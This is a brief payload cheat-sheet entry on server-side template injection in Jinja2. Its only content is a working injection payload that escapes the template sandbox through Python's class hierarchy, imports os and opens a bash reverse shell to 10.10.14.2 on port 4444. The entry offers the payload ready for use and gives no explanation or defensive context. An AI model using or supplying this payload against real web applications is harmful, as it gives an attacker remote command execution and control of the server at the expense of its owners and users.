SSTI (Server Side Template Injection)
Jinja 2 - Reverse Shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'").read()}}{%endif%}{%endfor%}